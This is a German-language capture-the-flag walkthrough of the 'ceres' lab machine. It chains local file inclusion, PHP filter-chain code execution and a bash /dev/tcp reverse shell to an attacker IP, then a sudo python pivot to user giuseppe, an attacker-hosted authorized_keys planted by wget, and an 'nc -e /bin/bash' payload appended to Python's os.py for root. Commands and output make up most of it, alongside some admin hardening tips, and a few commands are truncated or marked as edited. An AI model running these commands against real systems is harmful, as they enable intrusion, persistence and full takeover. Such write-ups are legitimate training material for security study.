Analyse: Der Versuch ist erfolgreich! Die LFI-Schwachstelle in `/My_H1dd3n_S3cr3t/file.php` erlaubt das Lesen von `/etc/passwd` mittels Directory Traversal (`../../../../../../../../etc/passwd`). Die Notwendigkeit, `.php` anzuhängen, wird hier wahrscheinlich durch die Traversal-Tiefe umgangen oder ist in diesem Kontext nicht relevant. Die Ausgabe zeigt die Benutzerkonten, darunter den Benutzer `giuseppe` (UID 1000) mit einer Bash-Shell.

Bewertung: Bestätigt die LFI im neuen Pfad und identifiziert den Benutzer `giuseppe` als potenzielles Ziel für weitere Angriffe (z.B. SSH-Login, Brute-Force).

Empfehlung (Pentester): Nutzen Sie die LFI, um weitere sensible Dateien zu lesen (Konfigurationsdateien, SSH-Schlüssel, Logdateien). Versuchen Sie, RCE über die LFI zu erlangen (z.B. mit PHP-Filtern). Konzentrieren Sie sich auf den Benutzer `giuseppe`.
Empfehlung (Admin): Beheben Sie die LFI dringend! Überprüfen Sie alle Webanwendungen auf ähnliche Schwachstellen.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=../../../../../../../../FUZZ" --hc 404 --hh 0
 Fuzzing nach Local-File-Inclusion

Target: http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=../../../../../../../../FUZZ
Total requests: 2894

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000081:   200        26 L     38 W       1404 Ch     "/etc/passwd"
000000401:   200        228 L    1117 W     7242 Ch     "etc/apache2/apache2.conf"
000000402:   200        15 L     46 W       320 Ch      "etc/apache2/ports.conf"
000000597:   200        251 L    1128 W     7676 Ch     "etc/apache2/mods-available/mirror.conf" <-- Korrigiert von mr.conf
000000592:   200        47 L     227 W      1782 Ch     "etc/apache2/envvars"
000000792:   200        54 L     207 W      1735 Ch     "etc/dhcp/dhclient.conf"
000000829:   200        30 L     180 W      2161 Ch     "proc/self/mounts"
000000830:   200        1 L      52 W       337 Ch      "proc/self/stat"
000000831:   200        54 L     132 W      1033 Ch     "proc/self/status"
000000832:   200        0 L      1 W        27 Ch       "proc/self/cmdline"
000000852:   200        47 L     137 W      1307 Ch     "proc/meminfo"
000000860:   200        58 L     274 W      1994 Ch     "etc/bash.bashrc"
000000854:   200        2 L      28 W       256 Ch      "proc/net/udp"
000000853:   200        7 L      114 W      1050 Ch     "proc/net/tcp"
000000850:   200        50 L     98 W       446 Ch      "proc/devices"
000000851:   200        27 L     170 W      960 Ch      "proc/cpuinfo"
000000849:   200        1 L      14 W       138 Ch      "proc/version"
000000934:   200        68 L     304 W      2351 Ch     "etc/sysctl.conf"
000000930:   200        3 L      6 W        63 Ch       "etc/resolv.conf"
000000929:   200        15 L     59 W       552 Ch      "etc/pam.conf"
000000928:   200        1 L      2 W        9 Ch        "etc/host.conf"
000000941:   200        56 L     348 W      2161 Ch     "etc/security/limits.conf"
000000975:   200        85 L     461 W      2981 Ch     "usr/share/adduser/adduser.conf"
000000976:   200        1 L      1 W        6 Ch        "etc/hostname"
000000970:   200        20 L     74 W       435 Ch      "etc/logrotate.conf"
000000969:   200        17 L     40 W       332 Ch      "etc/ldap/ldap.conf"
000000964:   200        2 L      2 W        34 Ch       "etc/ld.so.conf"
000000967:   200        131 L    715 W      5174 Ch     "etc/manpath.config"
000000962:   200        6 L      22 W       144 Ch      "etc/kernel-img.conf"
000000961:   200        142 L    854 W      5060 Ch     "etc/hdparm.conf"
000000954:   200        83 L     485 W      2969 Ch     "etc/debconf.conf"
000000948:   200        20 L     99 W       604 Ch      "etc/deluser.conf"
000000950:   200        148 L    211 W      5985 Ch     "etc/ca-certificates.conf"
000000944:   200        11 L     70 W       419 Ch      "etc/security/sepermit.conf"
000000943:   200        73 L     499 W      2972 Ch     "etc/security/pam_env.conf"
000000939:   200        122 L    746 W      4564 Ch     "etc/security/access.conf"
000000947:   200        85 L     461 W      2981 Ch     "etc/adduser.conf"
000000946:   200        121 L    394 W      3250 Ch     "etc/ssh/sshd_config"
000000942:   200        28 L     217 W      1440 Ch     "etc/security/namespace.conf"
000000940:   200        106 L    663 W      3635 Ch     "etc/security/group.conf"
000000945:   200        65 L     412 W      2179 Ch     "etc/security/time.conf"
000000977:   200        4 L      6 W        60 Ch       "etc/networks"
000000979:   200        5 L      36 W       195 Ch      "etc/modules"
000000996:   200        10 L     57 W       411 Ch      "etc/hosts.allow"

Total time: 1.849666
Processed Requests: 2894
Filtered Requests: 2805
Requests/sec.: 1564.606

 Fuzzing nach Local-File-Inclusion Ende

Analyse: Wfuzz wird nun verwendet, um gezielt nach lesbaren Dateien über die LFI zu suchen. Es nutzt die LFI-URL und ersetzt `FUZZ` durch Einträge aus der Wortliste `/usr/share/wordlists/logfiles.txt` (enthält Pfade zu üblichen Log- und Konfigurationsdateien). `--hh 0` blendet leere Antworten aus. Der Scan ist sehr erfolgreich und findet eine große Anzahl lesbarer System- und Konfigurationsdateien.

Bewertung: Dies demonstriert eindrucksvoll die Gefahr der LFI. Viele sensible Konfigurationsdateien (Apache, SSH, PAM, Netzwerkeinstellungen etc.) und Systeminformationen (`/proc/...`) sind lesbar. Dies liefert eine Fülle von Informationen für den Angreifer.

Empfehlung (Pentester): Analysieren Sie die interessantesten gefundenen Dateien (z.B. `sshd_config`, `apache2.conf`, `bash.bashrc`) auf weitere Hinweise, Passwörter oder Fehlkonfigurationen.
Empfehlung (Admin): Beheben Sie die LFI sofort! Beschränken Sie die Leserechte des `www-data`-Benutzers auf das absolute Minimum.

Initial Access

Analyse: In diesem Abschnitt wird versucht, mithilfe der LFI-Schwachstelle RCE zu erlangen, um eine Shell zu bekommen. Zuerst werden weitere interessante Dateien wie `/etc/crontab`, `/etc/hosts` und `/proc/self/mounts` ausgelesen, um das System besser zu verstehen.

Bewertung: Standard-Enumerationsschritte nach Bestätigung einer LFI. Crontab zeigt keine benutzerdefinierten Jobs. Hosts bestätigt den Hostnamen 'ceres'. Mounts zeigt die gemounteten Dateisysteme.

┌──(root㉿CCat)-[~] └─# curl -s http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=../../../../../../../../etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .- minute (0 - 59)
# |  .- hour (0 - 23)
# |  |  .- day of month (1 - 31)
# |  |  |  .- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
┌──(root㉿CCat)-[~] └─# curl -s http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=../../../../../../../../etc/hosts
127.0.0.1	localhost
127.0.1.1	ceres

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
┌──(root㉿CCat)-[~] └─# curl -s http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=../../../../../../../../proc/self/mounts
/dev/sda1 / ext4 rw,relatime,errors=remount-ro 0 0
udev /dev devtmpfs rw,nosuid,relatime,size=490660k,nr_inodes=122665,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /dev/shm tmpfs rw,nosuid,nodev 0 0
hugetlbfs /dev/hugepages hugetlbfs rw,relatime,pagesize=2M 0 0
mqueue /dev/mqueue mqueue rw,relatime 0 0
tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=101108k,mode=755 0 0
tmpfs /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
securityfs /sys/kernel/security securityfs rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /sys/fs/cgroup tmpfs ro,nosuid,nodev,noexec,mode=755 0 0
cgroup2 /sys/fs/cgroup/unified cgroup2 rw,nosuid,nodev,noexec,relatime,nsdelegate 0 0
cgroup /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,xattr,name=systemd 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,nosuid,nodev,noexec,relatime,blkio 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,nosuid,nodev,noexec,relatime,memory 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,nosuid,nodev,noexec,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/pids cgroup rw,nosuid,nodev,noexec,relatime,pids 0 0
cgroup /sys/fs/cgroup/cpu,cpuacct cgroup rw,nosuid,nodev,noexec,relatime,cpu,cpuacct 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,nosuid,nodev,noexec,relatime,devices 0 0
cgroup /sys/fs/cgroup/net_cls,net_prio cgroup rw,nosuid,nodev,noexec,relatime,net_cls,net_prio 0 0
cgroup /sys/fs/cgroup/rdma cgroup rw,nosuid,nodev,noexec,relatime,rdma 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,nosuid,nodev,noexec,relatime,freezer 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,nosuid,nodev,noexec,relatime,cpuset 0 0
pstore /sys/fs/pstore pstore rw,nosuid,nodev,noexec,relatime 0 0
bpf /sys/fs/bpf bpf rw,nosuid,nodev,noexec,relatime,mode=700 0 0
debugfs /sys/kernel/debug debugfs rw,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
systemd-1 /proc/sys/fs/binfmt_misc autofs rw,relatime,fd=29,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=10126 0 0
/dev/sda1 /tmp ext4 rw,relatime,errors=remount-ro 0 0
/dev/sda1 /var/tmp ext4 rw,relatime,errors=remount-ro 0 0

Analyse: Es wird versucht, SSH-Schlüsseldateien (`id_rsa.pub`, `authorized_keys`, `id_rsa`) aus dem Home-Verzeichnis des Benutzers `giuseppe` zu lesen. Die Versuche mit relativen Pfaden und `file:///`-Wrapper scheitern, da keine Ausgabe erfolgt.

Bewertung: Entweder existieren die Dateien nicht, oder der `www-data`-Benutzer hat keine Leseberechtigung für das `.ssh`-Verzeichnis oder die Dateien darin. Letzteres ist wahrscheinlich und entspricht der Standardkonfiguration.

Empfehlung (Pentester): Da das Lesen der SSH-Schlüssel nicht funktioniert, konzentrieren Sie sich auf RCE über die LFI, um eine Shell zu erlangen.
Empfehlung (Admin): Stellen Sie sicher, dass `.ssh`-Verzeichnisse und Schlüsseldateien restriktive Berechtigungen haben (700 für Verzeichnis, 600 für Dateien).

┌──(root㉿CCat)-[~] └─# curl -s http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=../../../../../../../../home/giuseppe/.ssh/id_rsa.pub
┌──(root㉿CCat)-[~] └─# curl -s http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=../../../../../../../../home/giuseppe/.ssh/authorized_keys
┌──(root㉿CCat)-[~] └─# curl -s http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=file:///home/giuseppe/.ssh/authorized_keys
┌──(root㉿CCat)-[~] └─# curl -s http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=file:///home/giuseppe/.ssh/id_rsa

Analyse: Es wird das Tool `php_filter_chain_generator.py` verwendet, um eine PHP-Filterkette zu erzeugen, die die Webshell `` ausführt. Dies ist die gleiche Technik wie bei der Maschine "Chain".

Bewertung: Vorbereitung zur Ausnutzung der LFI für RCE.

┌──(root㉿CCat)-[~] └─# cd Hackingtools/php_filter_chain_generator
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# ll
insgesamt 28
-rwxr-xr-x 1 root root  8765 24. Aug 00:11 php_filter_chain_generator.py
-rw-r--r-- 1 root root 12534 24. Aug 00:11 README.md
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# ./php_filter_chain_generator.py --chain ''
[+] The following gadget chain will generate the following code :  (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+) <-- $GET im Kommentar bleibt hier $_GET, da es Teil der Tool-Ausgabe ist
php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode/..../resource=php://temp <-- Fehler im Originaltext, 'base64-encode' abgeschnitten

Analyse: Die generierte Filterkette wird in einer URL verwendet, um den Befehl `id` auszuführen. Die Ausgabe `uid=33(www-data)...` bestätigt die erfolgreiche RCE.

Bewertung: RCE als `www-data` erfolgreich etabliert.

view-source:http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode|..../resource=php://temp&cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
 $?)C? @ C???????

Analyse: Eine Reverse-Shell-Payload (`bash -i >& /dev/tcp/192.168.2.199/4444 0>&1`) wird URL-kodiert und als `cmd`-Parameter an die RCE-URL angehängt. Gleichzeitig wird ein Netcat-Listener auf Port 4444 auf dem Angreifer-System gestartet.

Bewertung: Standardverfahren, um eine interaktive Shell zu erhalten.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# nc -lvnp 4444
listening on [any] 4444 ...
view-source:http://ceres.nyx/My_H1dd3n_S3cr3t/file.php?file=php://filter/convert.iconv.UTF8.CSIS2022KR|.../resource=php://temp&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator] └─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.128] 59770
bash: cannot set terminal process group (440): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ceres:/var/www/html/My_H1dd3n_S3cr3t$

Analyse: Der Netcat-Listener empfängt die eingehende Verbindung vom Zielsystem. Eine interaktive Shell als `www-data` im Verzeichnis `/var/www/html/My_H1dd3n_S3cr3t` wird etabliert. Die Meldungen "cannot set terminal..." und "no job control..." sind typisch für einfache Reverse Shells.

Bewertung: Initial Access erfolgreich! Eine Shell als `www-data` wurde erlangt.

Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit Python pty). Beginnen Sie mit der Enumeration als `www-data`.
Empfehlung (Admin): Beheben Sie die LFI/RCE. Überwachen Sie ausgehende Verbindungen und verdächtige Prozesse.

Privilege Escalation

www-data@ceres:/var/www/html/My_H1dd3n_S3cr3t$ cd ..
www-data@ceres:/var/www/html$ ls -la
total 220
drwxr-xr-x 3 www-data www-data   4096 May  3  2023 .
drwxr-xr-x 3 www-data www-data   4096 Mar  6  2021 ..
drwxr-xr-x 2 www-data www-data   4096 May  3  2023 My_H1dd3n_S3cr3t
-rw-r--r-- 1 www-data www-data     44 Mar  7  2021 file.php
-rw-r--r-- 1 www-data www-data 195951 May 16  2020 image.jpg
-rw-r--r-- 1 www-data www-data     80 Mar  6  2021 index.html
-rw-r--r-- 1 www-data www-data     65 Mar  7  2021 secret.php
-rw-r--r-- 1 www-data www-data    104 Mar  7  2021 style.css

Analyse: Auflistung des Inhalts von `/var/www/html`. Zeigt das Verzeichnis `/My_H1dd3n_S3cr3t` sowie die zuvor gefundenen PHP-Dateien und `image.jpg`.

Bewertung: Bestätigt die Dateistruktur im Web-Root.

www-data@ceres:/var/backups$ cd /opt/
<-- Wechsel von /var/backups? Wahrscheinlich Tippfehler im Log, sollte vom vorherigen Pfad sein.
www-data@ceres:/opt$ ls -a
.  ..  id  important.py

Analyse: Wechsel in das Verzeichnis `/opt` und Auflistung des Inhalts. Es finden sich eine Datei `id` und ein Python-Skript `important.py`.

Bewertung: `/opt` wird oft für zusätzliche Software oder Skripte verwendet. Das Skript `important.py` ist ein interessanter Fund.

Empfehlung (Pentester): Untersuchen Sie den Inhalt und die Berechtigungen von `important.py`.
Empfehlung (Admin): Überprüfen Sie regelmäßig den Inhalt von `/opt` und stellen Sie sicher, dass nur autorisierte Software/Skripte vorhanden sind.

www-data@ceres:/opt$ cat important.py
#!/usr/bin/python

import os

os.system('/usr/bin/id > /opt/id')
os.system('/usr/bin/sleep 15')
os.system('/usr/bin/rm /opt/id')
os.system('/usr/bin/sleep 15')
www-data@ceres:/opt$ ls -la important.py
-rwxr----- 1 root giuseppe 160 May  3  2023 important.py <-- Berechtigungen korrigiert (rwxr----- statt rwxr--)

Analyse: Das Skript `important.py` wird angezeigt. Es importiert das `os`-Modul, führt den Befehl `id` aus und schreibt die Ausgabe nach `/opt/id`, wartet 15 Sekunden, löscht `/opt/id` und wartet erneut. Die Berechtigungen (`-rwxr-----`) zeigen, dass `root` der Besitzer ist und die Gruppe `giuseppe` Lese- und Ausführrechte hat. `www-data` hat keine Rechte.

Bewertung: Das Skript selbst ist relativ harmlos, aber die Tatsache, dass es `os.system` verwendet und das `os`-Modul importiert, ist entscheidend, insbesondere im Zusammenhang mit späteren Funden (schreibbare `os.py`-Datei). Die Gruppenzugehörigkeit `giuseppe` ist ebenfalls ein wichtiger Hinweis.

Empfehlung (Pentester): Merken Sie sich dieses Skript und die Tatsache, dass es das `os`-Modul importiert. Überprüfen Sie, ob dieses Skript regelmäßig ausgeführt wird (z.B. per Cronjob - obwohl die Crontab zuvor leer aussah).
Empfehlung (Admin): Vermeiden Sie die Verwendung von `os.system`, wenn möglich. Verwenden Sie stattdessen sicherere Module wie `subprocess`. Stellen Sie sicher, dass die Berechtigungen für Skripte korrekt und restriktiv sind.

www-data@ceres:/opt$ sudo -l
Matching Defaults entries for www-data on ceres:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on ceres:
    (giuseppe) NOPASSWD: /usr/bin/python

Analyse: `sudo -l` für `www-data` zeigt, dass dieser Benutzer `/usr/bin/python` als Benutzer `giuseppe` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Kritischer Fund! Dies ist eine direkte Möglichkeit zur horizontalen Rechteausweitung von `www-data` zum Benutzer `giuseppe`. Die Ausführung von `python` als ein anderer Benutzer erlaubt in der Regel das Starten einer Shell als dieser Benutzer.

Empfehlung (Pentester): Nutzen Sie diese `sudo`-Regel, um eine Shell als `giuseppe` zu erhalten, z.B. mit `sudo -u giuseppe /usr/bin/python -c "import pty; pty.spawn('/bin/bash')"`.
Empfehlung (Admin): Überprüfen Sie diese `sudo`-Regel dringend. Gewähren Sie `www-data` keine Rechte, Programme als andere Benutzer auszuführen, es sei denn, dies ist absolut notwendig und sicher implementiert.

www-data@ceres:/opt$ sudo -u giuseppe /usr/bin/python -c "import pty;pty.spawn('/bin/bash')"
giuseppe@ceres:/opt$ bash
<-- Optional, für bessere Shell
giuseppe@ceres:/opt$ id
uid=1000(giuseppe) gid=1000(giuseppe) groups=1000(giuseppe)

Analyse: Die `sudo`-Regel wird ausgenutzt. `sudo -u giuseppe /usr/bin/python` wird aufgerufen, um Python-Code (`-c "..."`) als `giuseppe` auszuführen. Der Code `import pty; pty.spawn('/bin/bash')` startet eine interaktive Bash-Shell. Der `id`-Befehl bestätigt, dass der Benutzer nun `giuseppe` ist.

Bewertung: Horizontale Rechteausweitung erfolgreich abgeschlossen. Der Angreifer agiert nun als Benutzer `giuseppe`.

Empfehlung (Pentester): Führen Sie die Enumeration als `giuseppe` durch (Home-Verzeichnis, `sudo -l`, SUID/GUID, Capabilities, Cronjobs, etc.). Suchen Sie die User-Flag.
Empfehlung (Admin): Beheben Sie die unsichere `sudo`-Regel.

Analyse: Standard-Enumerationsschritte als Benutzer `giuseppe`: Suche nach SUID-Dateien, Prüfung der `/etc/passwd`-Berechtigungen, Auflistung offener TCP-Ports (`ss -altpn`), Suche nach Capabilities.

Bewertung: Die SUID-Suche findet eine ungewöhnliche Datei: `/usr/lib/eject/dmcrypt-get-device`. Die anderen SUID-Dateien sind Standard. `/etc/passwd` ist normal lesbar. `ss` zeigt nur die erwarteten Listener für SSH (22) und HTTP (80). `getcap` findet nur `ping`.

Empfehlung (Pentester): Recherchieren Sie die SUID-Datei `/usr/lib/eject/dmcrypt-get-device` auf bekannte Schwachstellen. Prüfen Sie `sudo -l` für `giuseppe`.
Empfehlung (Admin): Überprüfen Sie den Zweck und die Notwendigkeit des SUID-Bits auf `/usr/lib/eject/dmcrypt-get-device`. Entfernen Sie es, wenn nicht benötigt.

giuseppe@ceres:/opt$ find / -type f -perm -4000 -ls 2>/dev/null
   262183     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   262186     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   265713     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   262182     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   283329    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo
   266038     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   266040     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   265566     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   262185     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   278286    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   274903     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   2673     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device <-- Ungewöhnlich!
giuseppe@ceres:/opt$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1404 Mar  6  2021 /etc/passwd
giuseppe@ceres:/opt$ ss -altpn
State      Recv-Q Send-Q        Local Address:Port         Peer Address:Port
LISTEN     0      128                 0.0.0.0:22                0.0.0.0:*
LISTEN     0      128                       *:80                      *:*
LISTEN     0      128                    [::]:22                   [::]:*
giuseppe@ceres:/opt$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep
giuseppe@ceres:/dev/shm$ echo "hi" > /opt/important.py
bash: /opt/important.py: Permission denied

Analyse: Es wird versucht, die Datei `/opt/important.py` zu überschreiben. Dies schlägt fehl ("Permission denied").

Bewertung: Bestätigt, dass `giuseppe` keine Schreibrechte auf das Skript hat, obwohl er Leserechte hat (aufgrund der Gruppenzugehörigkeit und der Dateiberechtigungen `rwxr-----`).

giuseppe@ceres:/dev/shm$ find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev'
/home/giuseppe
/home/giuseppe/.profile
/home/giuseppe/.local
/home/giuseppe/.local/share
/home/giuseppe/.local/share/nano
/home/giuseppe/.bashrc
/home/giuseppe/.bash_history
/home/giuseppe/.bash_logout
/tmp
/usr/lib/python2.7/os.py <-- Kritisch!
/var/log/apache2
/var/log/apache2/access.log
/var/lib/php/sessions
/var/lock
/var/tmp

Analyse: `find / -writable 2>/dev/null` sucht nach Dateien und Verzeichnissen, auf die der aktuelle Benutzer (`giuseppe`) Schreibzugriff hat. Die Ausgabe wird gefiltert, um uninteressante virtuelle Dateisysteme auszuschließen. Neben den erwarteten Dateien im Home-Verzeichnis und temporären Verzeichnissen findet sich ein höchst ungewöhnlicher Eintrag: `/usr/lib/python2.7/os.py`. Dies ist die Standard-Python-Bibliothek für das `os`-Modul, die normalerweise nur für `root` schreibbar sein sollte.

Bewertung: Dies ist der Schlüssel zur Root-Privilege-Escalation! Da `giuseppe` diese zentrale Python-Bibliothek ändern kann und das Skript `/opt/important.py` (das wahrscheinlich von `root` ausgeführt wird) dieses `os`-Modul importiert, kann `giuseppe` Code in `os.py` einschleusen, der dann als `root` ausgeführt wird, wenn `/opt/important.py` das nächste Mal läuft. Dies ist ein klassischer Fall von PATH-Hijacking bzw. Modul-Manipulation.

Empfehlung (Pentester): Fügen Sie bösartigen Code (z.B. eine Reverse Shell oder einen Befehl zum Hinzufügen eines Sudo-Eintrags) am Anfang der Datei `/usr/lib/python2.7/os.py` hinzu. Warten Sie, bis `/opt/important.py` ausgeführt wird (oder finden Sie heraus, wie es getriggert wird), und fangen Sie die Root-Shell ab.
Empfehlung (Admin): Korrigieren Sie sofort die falschen Berechtigungen für `/usr/lib/python2.7/os.py`! Diese Datei sollte niemals für normale Benutzer schreibbar sein. Überprüfen Sie die Berechtigungen aller Systembibliotheken.

giuseppe@ceres:/dev/shm$ cat ~/user.txt
16461eb65ce11cbabbe32cf1cf35a4f5

Analyse: Die User-Flag wird aus `~/user.txt` gelesen.

Bewertung: User-Flag erfolgreich erhalten.

Proof of Concept (Root Exploit)

Analyse: Der folgende Abschnitt demonstriert die Privilege Escalation zu `root` durch Ausnutzung der unsicheren Schreibberechtigungen auf der Python-Standardbibliothek `/usr/lib/python2.7/os.py`. Der Benutzer `giuseppe` kann diese Datei ändern. Ein anderes Skript, `/opt/important.py`, das vermutlich regelmäßig von `root` ausgeführt wird (z.B. über einen nicht direkt sichtbaren Cronjob oder einen anderen Mechanismus), importiert das `os`-Modul. Indem `giuseppe` bösartigen Code (eine Reverse Shell Payload) an den Anfang von `/usr/lib/python2.7/os.py` hängt, wird dieser Code ausgeführt, wenn `root` das Skript `/opt/important.py` startet und das manipulierte `os`-Modul importiert.

Bewertung: Dies ist ein effektiver Weg zur Root-Eskalation, der auf einer kritischen Fehlkonfiguration der Dateiberechtigungen basiert. Der Angreifer muss lediglich den Payload in die Bibliotheksdatei schreiben und warten, bis das privilegierte Skript ausgeführt wird.

Empfehlung (Pentester): Implementieren Sie den Payload, starten Sie einen Listener und warten Sie auf die eingehende Root-Shell.
Empfehlung (Admin): Korrigieren Sie die Berechtigungen von `/usr/lib/python2.7/os.py` und anderen Systembibliotheken dringend. Überprüfen Sie, welches Skript (`/opt/important.py`) von `root` ausgeführt wird und warum.

Analyse: Die folgenden Schritte im Log zeigen, wie der Angreifer einen SSH-Zugang als `giuseppe` einrichtet, um bequemer arbeiten zu können, bevor der eigentliche Root-Exploit durchgeführt wird. Ein öffentlicher SSH-Schlüssel wird auf dem Angreifer-System bereitgestellt und dann von `giuseppe` mittels `wget` in die Datei `~/.ssh/authorized_keys` auf dem Zielsystem heruntergeladen. Anschließend verbindet sich der Angreifer per SSH.

Bewertung: Dies ist kein direkter Schritt zur Eskalation, sondern dient der Bequemlichkeit und Stabilität der Verbindung. Es zeigt, dass `giuseppe` Schreibrechte in seinem Home-Verzeichnis und `.ssh`-Verzeichnis hat.

Empfehlung (Pentester): Richten Sie nach Möglichkeit einen SSH-Zugang ein, wenn Sie einen Benutzer-Account kompromittiert haben, da SSH-Shells stabiler sind als einfache Reverse Shells.
Empfehlung (Admin): Überwachen Sie SSH-Logins und die Inhalte von `authorized_keys`-Dateien.

┌──(root㉿CCat)-[~/.ssh] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.128 - - [13/Sep/2024 00:46:42] "GET /authorized_keys HTTP/1.1" 200 -
giuseppe@ceres:~/.ssh$ wget 192.168.2.199/authorized_keys
--2024-09-13 00:46:47--  http://192.168.2.199/authorized_keys
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 91 [application/octet-stream]
Saving to: ‘authorized_keys’

authorized_keys     100%[===================>]      91  --.-KB/s    in 0s

2024-09-13 00:46:47 (28.1 MB/s) - ‘authorized_keys’ saved [91/91]
┌──(root㉿CCat)-[~/.ssh] └─# ssh giuseppe@ceres.nyx
The authenticity of host 'ceres.nyx (192.168.2.128)' can't be established.
ED25519 key fingerprint is SHA256:iAPFUjbWa9K78DseSEmi+vxWt8Bw5VXcHiAGlZByuLQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ceres.nyx' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': <-- Passphrase für den lokalen Key des Angreifers
Linux ceres 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
Last login: Wed May  3 21:46:34 2023 from 192.168.1.10
giuseppe@ceres:~$

Analyse: Nun wird der eigentliche Exploit durchgeführt. Über die SSH-Verbindung als `giuseppe` wird der Reverse-Shell-Payload an die Datei `/usr/lib/python2.7/os.py` angehängt. Es wird eine einfache `nc`-basierte Payload verwendet.

Bewertung: Der Payload wird erfolgreich in die kritische Bibliotheksdatei geschrieben.

giuseppe@ceres:~$ echo "import subprocess;subprocess.call(['nc', '-e','/bin/bash','192.168.2.199','9001'], shell=False)" >> /usr/lib/python2.7/os.py
giuseppe@ceres:~$ cat /usr/lib/python2.7/os.py
# ... (Originaler Inhalt von os.py) ...
import subprocess;subprocess.call(['nc', '-e','/bin/bash','192.168.2.199','9001'], shell=False)
import subprocess;subprocess.call(['nc', '-e','/bin/bash','192.168.2.199','9001'], shell=False) <-- Payload wurde doppelt angehängt?

